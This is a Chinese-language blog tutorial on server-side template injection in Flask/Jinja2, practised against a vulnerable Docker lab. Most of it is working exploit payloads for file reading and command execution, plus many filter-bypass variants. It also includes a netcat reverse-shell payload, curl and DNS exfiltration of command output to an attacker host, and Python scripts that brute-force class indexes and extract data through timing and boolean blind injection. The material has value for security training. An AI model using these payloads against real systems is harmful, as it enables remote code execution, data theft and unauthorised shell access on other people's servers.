SSTI用到的魔术方法及函数
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有之类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
__builtins__#提供对python的所有"内置"标识符的直接访问
eval()#计算字符串表达式的值
__import__#加载模块
popen()#执行一个shell以运行命令来开启一个进程,执行代码没有回显
self#放则flask框架的函数
__dict__#是 Python 中对象的属性字典,包含了对象的所有属性和方法
_TemplateReference__context#上下文是模板引擎中传递数据的容器,包含了模板中可以访问的所有变量
keys()#这是 Python 字典的方法,用于返回字典中所有的键(keys)
__getattribute__()#存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性
__str__()#返回描述该对象的字符串,通常用于打印输出
__getitem__()#绕过[]过滤
常用payload
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
参考地址:https://blog.csdn.net/qq_75120258/article/details/141788397
SSTI漏洞学习
ssti靶场
github.com/X3NNY/sstilabs
github.com/DiogoMRSilva/websitesVulnerableToSSTI
一、环境搭建
以下操作需要root权限
docke国内源
echo '{"registry-mirrors": ["https://docker.1ms.run"]}' | sudo tee /etc/docker/daemon.json > /dev/null
systemctl daemon-reload
systemctl restart docker
拉取docker镜像
docker pull mcc0624/flask_ssti:last
二、生成容器
以下操作需要root权限
开启容器
docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
exit
查看容器
docker ps -a
关闭容器
docker stop <容器id>
开启容器
docker start <容器id>
三、管理网站
靶场页面
http://IP:18080
SSH
用户名root 密码P@ssw0rd
Python venv
#python --version
#apt update
#apt install python3.10-venv
创建虚拟环境
python3 -m venv <文件名>
Flask基本框架
from flask import Flask
app = Flask(__name__)#初始化,__name__系统变量代表当前文件名
@app.route('/')#路由,即http://url/
def hello():
return "hello benben"
if __name__=='__main__':
app.run()#启动程序
#app.run(host="0.0.0.0")指定监听ip地址
#run的debug属性为True时,程序错误会返回对应的错误
#port指定端口
Flask变量及方法
通过向规则参数添加变量部分,可以动态构建URL
传递字符串
from flask import Flask
app = Flask(__name__)
@app.route('/<name>')#<name>表示定义变量
def hello(name):
return "hello %s" % name
if __name__ == '__main__':
app.run(host="0.0.0.0")
传递整形
from flask import Flask
app = Flask(__name__)
@app.route('/<int:num>')#:前面是变量类型,后面是变量名
def hello(name):
return "hello %d" % num
if __name__ == '__main__':
app.run(host="0.0.0.0")
Flask HTTP方法
方法 | 描述 |
---|---|
GET | 以未加密的形式将数据发送到服务器。最常见的方法 |
HEAD | 和GET方法相同,但没有响应体。 |
POST | 用于将HTML表单数据发送到服务器。POST接收的数据不由服务器缓存 |
PUT | 用上传的内容替换目标资源的所有当前表示 |
DELETE | 删除由URL给出的目标资源的所有当前表示 |
python脚本内容如下
from flask import Flask,redirect,url_for,request,render_template
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
#默认回到python脚本同级目录下的templates目录寻找文件
@app.route('/success/<name>')
def success(name):
return 'welcome %s'% name
if __name__ == '__main__':
app.run()
在Python脚本中插入路由:
@app.route('/login',methods=['POST','GET'])
def login():
if request.method == 'POST':
print(1)
user = request.form['id']
return redirect(url_for('success', name=user))
else:
print(2)
user = request.args.get('id')
return redirect(url_for('success', name=user))
Flask模版
视图函数:主要作用生成请求的响应
把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本。
使用模版:使用静态的页面html展示动态的内容。
模版是一个响应文本的文件,其中占用符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为"渲染"。
Flask使用Jinja2这个模版引擎来渲染模版。
render_template渲染
render_template用于文件渲染
python代码
from flask import Flask,render_template,request
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
my_str = 'Hello benben'
my_int = request.args.get('ben')
my_array = [5,2,0,1,3,1,4]
my_dice = {
'name':'dazhuang',
'age':18
}
return render_template('index.htmll',
my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict)
if __name__=='__main__':
app.run()
index.html
python找html文件回到templates目录下去找
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{{my_int}}<br>
{{my_str}}<br>
{{my_array}}<br>
{{my_dict}}
</body>
</html>
render_template_string渲染
render_template_string用于渲染字符串
python代码
from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
my_str = request.args.get('name')
return render_template_string('<h1>你的名字是</h1><p>%s</p>' % my_str)
if __name__=='__main__':
app.run()
模版注入漏洞介绍
Flask漏洞
flask代码不严谨会造成任意文件读取和RCE远程控制后台系统
漏洞成因:
渲染模版时,没有严格控制对用户的输入;
使用了危险的模版,导致用户可以和flask程序进行交互。
flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等之类的函数。
漏洞演示
正常代码
from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
str = request.args.get('str')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__=='__main__':
app.run()
上面代码接收一个str参数,将其渲染到html_str中,因为{{}}预先渲染了字符串,用户在输入{{}}则不会造成ssti
漏洞代码
from flask import *
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
str = request.args.get('str')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__=='__main__':
app.run()
上面代码因为传入参数没有{{}}包起来,用户如传入{{}}则会被flask的模版引擎解析为模版代码
SSTI服务端模版注入
服务端模版注入(Server-Side Template Injection),实际上也是一种注入漏洞。
没有执行,判断向下的线;执行,判断向上的线
继承关系
父类和子类
子类调用父类的其他子类
Python flask脚本没有办法直接执行python指令
漏洞利用原理,通过调用一些有命令执行功能的类,来执行系统命令
所有类的最终父类都是object
代码演示
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()
print(c.__class__)
print(c.__class__.__base__)
print(c.__class__.__mro__)
print(c.__class__.__mro__[1].__subclasses__())
//执行结果:
'''
<class '__main__.C'>
<class '__main__.B'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
'''
//__class__作用返回当前类
//__base__返回当前类的父类
//__mro__显示当前类的所有基类
//因为__mro__返回的是括号包起来的类,所以__mro__返回的结果是用一个元组存储的,所以可以使用下标来灵活调用指定类
//__subclass__返回当前类下的所有子类,它返回的是一个对象,在其后加上()即可用列表输出类名
检查漏洞
常用注入模块
os._AddedDIIDirectory
os._wrap_close
_frozen_importlib._DummyModuleLock
_frozen_importlib._ModuleLockManager
_frozen_importlib.ModuleSpec
_frozen_importlib_external.FileLoader
_frozen_importlib_external._NamespacePath
_frozen_importlib_external._NamespaceLoader
_frozen_importlib_external.FileFinder
zipimport.zipimporter
zipimport._ZipImportResourceReader
_sitebuiltins.Quitter
_sitebuiltins._printer
warnings.WarningMessage
warnings.catch_warnings
weakref.finalize
pickle._Framer
pickle._Unframer
pickle._Pickler
pickle._Unpickler
jinja2.bccache.Bucket
jinja2.runtime.TemplateReference
jinja2.runtime.Context
jinja2.runtime.BlockReference
jinja2.runtime.LoopContext
jinja2.runtime.Macro
jinja2.runtime.Undefined
jinja2.environment.Environment
jinja2.environment.TemplateExpression
jinja2.environment.TemplateStream
dis.Bytecode
常用注入模块
1.文件读取 |
---|
2.内建函数eval执行命令 |
3.os模块执行命令 |
4.importlib类执行命令 |
5.linecache函数执行命令 |
6.subprocess.Popen类执行命令 |
注入演示用到前面docker搭建容器,http://url:port/flasklab/level/1
文件读取
查找子类_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
payload:
code={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
效果如下
payload解释
{{}}的中间表示模版需要渲染的部分
()表示元组元组的父类就是object
""、''、[]、{}等类型的父类都是object
__class__返回当前类名
__base__当前类的父类名
__subclasses__()返回类中所有的
__subclasses__()[79]是获取文件读取模块_frozen_importlib_external.FileLoader,每个环境_frozen_importlib_external.FileLoader所在位置会有所不同,不一定都在79
调用文件读取模块下的get_data方法来执行文件读取
内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数
python脚本查看可利用内建函数eval的模块
import requests
url = input('请输入url链接:')
for i in range(500):
data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
break
except:
pass
payload:
{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
效果如下
payload解释
().__class__.__base__.__subclasses__()[64]获取模块
__init__初始化模块
__globals__显示当前所有全局变量
__builtins__显示当前模块所有内置函数
eval参数当做python代码执行,__import__("os")导入os库
popen用于执行系统命令,执行结果以内存地址显示,read()读取内存地址内容
os模块执行命令
在其他函数中直接调用os模块
显示flask的函数
{{self.__dict__._TemplateReference__context.keys()}}
'''
self存放则flask框架的函数
__dict__ 是 Python 中对象的属性字典,包含了对象的所有属性和方法
_TemplateReference__context上下文是模板引擎中传递数据的容器,包含了模板中可以访问的所有变量
keys()这是 Python 字典的方法,用于返回字典中所有的键(keys)
'''
模版渲染结果如下
dict_keys(['range', 'dict', 'lipsum', 'cycler', 'joiner', 'namespace', 'url_for', 'get_flashed_messages', 'config', 'request', 'session', 'g'])
通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
通过url_for
{{url_for.__globals__.os.popen('whoami').read()}}
通过lipsum,调用os
{{lipsum.__globals__.os.popen("whoami").read()}}
通过g,调用os
{{g.pop.__globals__.__builtins__['__import__']('os').popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
需用到subprocess.CompletedProcess类,即subclasses()[下标]找到subprocess.CompletedProcess
{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("whoami").read()}}
importlib类
需用到_frozen_importlib.BuiltinImporter类下的load_module方法来导入os模块
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}
linecache函数
需用到traceback.FrameSummary类下的属性linecache来导入os模块
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("whoami").read()}}
subprocess.Popen类
{{().__class__.__base__.__subclasses__()[200]("whoami",shell=True,stdout=-1).communicate()[0].strip()}}
SSTI模版注入双大括号绕过
{%%}使用介绍
{%%}是属于flask的控制语句,且以{% end ... %}结尾,可以通过在控制语句定义变量或者写循环,判断
演示代码
python代码
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
girls = ['a','b','c','d']
return render_template('index.html',girls=girls)
if __name__=='__main__':
app.run()
index.html
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<ul>
{% for girl in girls %}
<li>{{ girl }}</li>
{% endfor %}
</ul>
</body>
</html>
其他控制语句
if判断
{% if 条件 %}
{{输出}}
{% else %}
{{输出}}
{% endif %}
定义变量
{% name='变量值' %}
{{ name }}
通过{%%}绕过{{}}过滤
方法一:
{% print(1) %}
//上面条件语句是可以通过print打印结果的
//所以直接{% print(构造语句) %}即可
演示地址http://url:port/flasklab/level/2
payload:
POST
code={% print(url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read()) %}
回显,发现成功返回用户名,模版注入成功
Hello root
方法二:
和上面构造思路一致,区别就是通过if判断来爆破os._wrap_close的位置
payload:
{% if ().__class__.__base__.__subclasses__()[未知].__globals__['popen']('whoami').read() %}name{% endif %}
通过if判断,如果构造语句执行成功则页面会显示name,执行失败显示不显示name,原理通过指定__subclasses__()
下标,直到找到os._wrap_close让语句成功执行为止,在用print输出执行成功的语句
python脚本:
import requests
url = input('请输入url地址')
for i in range(500):
data={
"code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('whoami').read() %}name{% endif %}"
}
r = requests.post(url,data=data)
if "name" in r.text:
print(data["code"])
break
else:
continue
//输出{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read() %}name{% endif %}
//实际上传入code {% print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('whoami').read()) %}即可,这里只是演示一下if判断
打印命令执行结果
payload:
POST
{% print(().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read()) %}
SSTI盲注
思路
反弹shell
通过rce反弹一个shell出来绕过无回显的页面
反弹shell生成网站:https://forum.ywhack.com/shell.php
带外注入
通过requestbin、dnslog、burpsuite的Collaborator功能等将信息传到外界
纯盲注
通过if判断
漏洞利用
反弹shell
漏洞地址http://ip:port/flasklab/level/3
payload:
web页面
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('nc 渗透机地址 监听的端口 -e /bin/bash').read()}}
渗透机
nc -lvvp 端口
效果如下:
带外注入
burpsuite外带
使用burpsuite进行命令执行外带
payload:
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl -X POST -d "$(ls)" <burpsuite插入的Collaborator地址>').read()}}
curl
-X指定请求类型
$(ls)把ls的执行结果通过POST传递
如果是`ls`只会传递命令执行结果的第一行
如果非要用`ls`,可以执行ls|tr '\n' ','(tr把\n替换为逗号,让结果一行显示)
结果如下:
通过自建机器外带
payload:
web页面
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl 192.168.38.130/`ls|tr "\n" ","`').read()}}
渗透机
python3 -m http.server 80
方法不唯一,比如curl可以改成wget等,这里同样可以用上面burpsuite用到的$(ls),应该这里是get请求也只回显第一行
结果如下:
通过dnslog外带
dnslog地址:dnslog.cn
dnslog只支持dns解析,不支持get和post请求,上面2种方法不支持dns解析
payload如下:
POST
code={{application.__init__.__globals__.__builtins__['__import__']('os').popen('curl `ls|tr "\n" ","`.<dnslog申请到的>').read()}}
结果如下:
https://webhook.site/这个网站支持dns外带和http外带
纯盲注
时间盲注
漏洞地址http://ip:port/flasklab/level/3
原理通过延迟来判断是否存在某个字符或字符串
payload:
POST
code={% if g.pop.__globals__.__builtins__['__import__']('os').popen('whoami|tr \'\n\' \',\'').read()[0:1] == '0' %}{% print(g.pop.__globals__.__builtins__['__import__']('time').sleep(0.5)) %}{% endif %}
//whoami|tr '\n' ','是将换行替换为空格,目的是将所有信息一行显示,因为popen用的是当引号包含的命令,所以里面的单引号需要转译,当然用双引号也行
//[0:1] == '0'判断第一个字符是否为0,不是则执行else语句,这里没有则退出;判断成立则延迟0.5秒响应,类似于sql盲注
python脚本
import requests
import time
import sys
import string
url = input('请输入url')
text=""
str_text = string.ascii_letters+string.digits+string.punctuation+string.whitespace+'\0'
#string.ascii_letters获取大小写字符
#string.digits获取数字
#string.punctuation获取符号
#string.whitespace获取不可见字符,但不包括\0
length = 1
while length:
for i in str_text:
data={
"code":"{% if g.pop.__globals__.__builtins__['__import__']('os').popen('whoami|tr \\'\n\\' \\',\\'').read()[0:"+str(length)+"] == "+f"'{text}{i}'"+" %}{% print(g.pop.__globals__.__builtins__['__import__']('time').sleep(0.5)) %}{% endif %}"
}
start = time.time()#获取当前时间
r = requests.post(url,data=data).text
end = time.time()#获取请求结束后的时间
sub = end - start#计算响应时间
if sub >=0.5:
text+=i
print(text)
break
else:
if i == '\0':
sys.exit(0)
continue
length+=1
布尔盲注
漏洞地址http://ip:port/flasklab/level/3
原理通过页面变化,判断语法成立和不成立页面的变化,通过测试,语法错误返回wrong,正确返回correct
效果如下
语法正确
语法错误
payload:
POST
code={% if g.pop.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()[0:1] == 'r' %}{% print(1) %}{% else %}{% print(exit(0)) %}{% endif %}
模版引擎是不能直接使用exit(0)的,if语句不成立则会导致语法错误,if语句成立则正常退出
python脚本
import requests
import sys
import string
url = input('请输入url')
text=""
str_text = string.ascii_letters+string.digits+string.punctuation+string.whitespace+'\0'
length = 1
while length:
for i in str_text:
data={
"code":"{% if g.pop.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()[0:"+str(length)+"] == "+f"'{text}{i}'"+" %}{% print(1) %}{% else %}{% print(exit(0)) %}{% endif %}"
}
r = requests.post(url,data=data).text
if 'correct' in r:
text+=i
print(text)
break
else:
if i == '\0':
sys.exit(0)
continue
length+=1
效果如下
SSTI模版注入中括号绕过
__getitem__()
魔术方法
getitem()是python的一个魔法方法,
对字典使用时,传入字符串,返回字典相应键所对应的值;
当对列表使用时,传入整数返回列表对应索引的值。
WAF过滤[]例题
漏洞地址:http://ip:port/flasklab/level/4
{{}}
先检测双大括号是否过滤{''}
或{""}
等等检测是否有过滤符号{''.__class__}
检测是否有下划线过滤或者特殊字符{''.__class__.__base__.__subclasses__()[]}
到此步骤后发现waf字样
payload:
POST
code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}
效果如下:
SSTI绕过单双引号
漏洞地址:http://ip:port/flasklab/level/5
request
- request在flask中可以访问基于HTTP请求传递的所有信息
- 此request并非python的函数,而是在flask内部的函数
request.args.key 获取get传入的key的值
request.values.x1 获取所有参数
request.cookies 获取cookies传入的参数
request.headers 获取请求头请求参数
request.form.key 获取post传入参数
(Conten-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data 获取post传入参数(Content-Type:a/b)
request.json 获取post传入json参数(Content-Type:application/json)
request.args.key
pyload:
POST /flasklab/level/5?import=__import__&&os=os&&shell=ls
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded
code={{g.pop.__globals__.__builtins__[request.args.import](request.args.os).popen(request.args.shell).read()}}
request.args.import获取get的import参数,后面同理
request.values.x1
payload:
POST /flasklab/level/5?import=__import__&&os=os&&shell=ls
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded
code={{g.pop.__globals__.__builtins__[request.values.import](request.values.os).popen(request.values.shell).read()}}
request.values.import获取get或post的import参数,如果get和post都有且参数名相同优先取get的值
request.cookies
payload:
POST /flasklab/level/5
host: ip:port
Cookie: import=__import__; os=os; shell=ls
Conten-Type:applicaation/x-www-form-urlencoded
code={{g.pop.__globals__.__builtins__[request.cookies.import](request.cookies.os).popen(request.cookies.shell).read()}}
request.headers
payload:
POST /flasklab/level/5?import=__import__&os=os
host: ip:port
Cookie: ls
Conten-Type:applicaation/x-www-form-urlencoded
code={{g.pop.__globals__.__builtins__[request.args.import](request.args.os).popen(request.headers.cookie).read()}}
request.form.key
payload:
POST /flasklab/level/5
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded
code={{g.pop.__globals__.__builtins__[request.form.import](request.form.os).popen(request.form.shell).read()}}&import=__import__&os=os&shell=ls
request.data
无
request.json
无
SSTI绕过下划线
过滤器
1.过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
flak常用过滤器
length()#获取一个序列或者字典的长度并将其返回
int()#将值转换为int类型
float()#将值转换为float类型
lower()#将字符串转换为小写
upper()#将字符串转换为大写
reverse()#反转字符串
replace(value,old,new)#将value中的old替换为new
list()#将变量转换为列表类型
string()#将变量转换成字符串类型
join()#将一个序列中的参数值拼接成字符串,通常python内置的dict()配合使用
attr()#获取对象的属性
演示
templates/index.html
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<ul>
<p>{{ girls|length }}</p>
{{ girls.append('e') }}
<p>{{ girls|length }}</p>
<p>{{ girls|upper }}</p>
<p>{{ 'A'|lower }}</p>
</ul>
</body>
</html>
python代码
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
girls = ['a','b','c','d']
return render_template('index.html',girls=girls)
if __name__=='__main__':
app.run()
方法一:使用request绕过下划线
payload:
POST /flasklab/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded
code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('ls')|attr('read')()}}
方法二:使用Unicode编码绕过下划线
payload:
POST /flasklab/level/6
host: ip:port
Conten-Type:applicaation/x-www-form-urlencoded
code={{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(117)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('ls')|attr('read')()}}
其他方法
格式化字符串绕过
|attr('%c%cclass%c%c'%(95,95,95,95))等同于__class__
用ascii十六进制和八进制也可以绕过
hackber自带这几种编码,如下:
SSTI中括号绕过点绕过
漏洞地址:http://ip:port/flasklab/level/7
直接把.__class__
这样的替换为['__class__']
即可
[]中是允许拼接的,例如['__cla'+'ss__']
等同于['__class__']
payload:
code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')['read']()}}
SSTI绕过关键字
关键字过滤
例如过滤了class、arg、form、value、int、global等关键字
以__class__
为例
1、字符编码(在ssti绕过下划线提到)
2、拼接字符串:'__cla'+'ss__'
3、使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
4、使用过滤器(reverse反转、replace替换、join拼接等):
{%set a="__ssalc__"|reverse%}{{a}}
{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
{%set a=['__cla','ss__']|join%}{{()[a]}}
5、利用python的chr()函数:{% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
SSTI数字绕过
通过过滤器length来生成数字
index.html
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<ul>
{%set a="aaaaaaa"|length%}{{ a }}
</ul>
</body>
</html>
python代码
from flask import *
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def index():
return render_template('index.html')
if __name__=='__main__':
app.run()
最后输出结果7,即a=7
length过滤器绕过数字
漏洞地址:http://ip:port/flasklab/level/9
payload:
POST
code={%set a='aaaaaaaaaa'|length*'aaa'|length*'aaaa'|length-'aaa'|length%}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls').read()}}
原理10个a计算长度为10,aaa*10=30个a,将需要的数字赋值给一个变量,用变量代替后面中括号中的数字即可
SSTI绕过config过滤
前置知识
flask内置函数和对象
flask内置函数
lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取消息
flask内置对象
cycler
joiner
namespace
config
request
session
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app模块进而查看配置文件
current_app
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
SSTI混合过滤绕过
前置知识
dict(): #用来创建一个字典
join: #将一个序列中的参数值拼接成字符串
join过滤器会提取字典的键名并组成字符串
index.html
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
数据:{%set a=dict(ccc=1)%}{{ a }}<!-- 输出{"ccc":1} -->
<br />
数据:{%set a=dict(cla=1,ss=2)|join%}{{ a }}<!-- 输出class -->
</body>
</html>
python代码
from flask import *
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def index():
return render_template('index.html')
if __name__=='__main__':
app.run()
获取符号
利用flask内置函数和对象获取符号
通过以下语句获取字符串,用[]指定下标获取对应字符
{% set a = ({}|select()|string()) %}{{a}}
#获取下划线
{% set a = (self|string()) %}{{a}}
#获取空格
{% set a = (self|string|urlencode) %}{{a}}
#获取百分号
{% set a = (app.__doc__|string) %}{{a}}
过滤'、"、+、request、.、[、]
绕过
漏洞地址:http://ip:port/flasklab/level/11
payload:
POST
code={%set a=dict(__class__=a)|join%}{%set b=dict(__base__=a)|join%}{%set c=dict(__subclasses__=a)|join%}{%set d=dict(__getitem__=a)|join%}{%set e=dict(__init__=a)|join%}{%set f=dict(__globals__=a)|join%}{%set g=dict(popen=a)|join%}{%set h=(()|select()|string()|attr(d)(10))%}{%set cmd=(dict(cat=a)|join,h,dict(flag=a)|join)|join%}{%set i=dict(read=a)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(cmd)|attr(i)()}}
dict定义字典键名和键值无需引号,dict+join即可绕过单双引号;+的作用是为了拼接,join也具有拼接作用;request把获取get、post等参数禁止了,不使用即可;[]可以__getitem__
为协议绕过,执行命令的空格可以通过提取字符串获取;/可通过执行pwd命令获取,也可以通过chr函数来获取
其他过滤根据目录ssti绕过<什么>拼接payload即可
参考地址
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://guofun.top/web/50/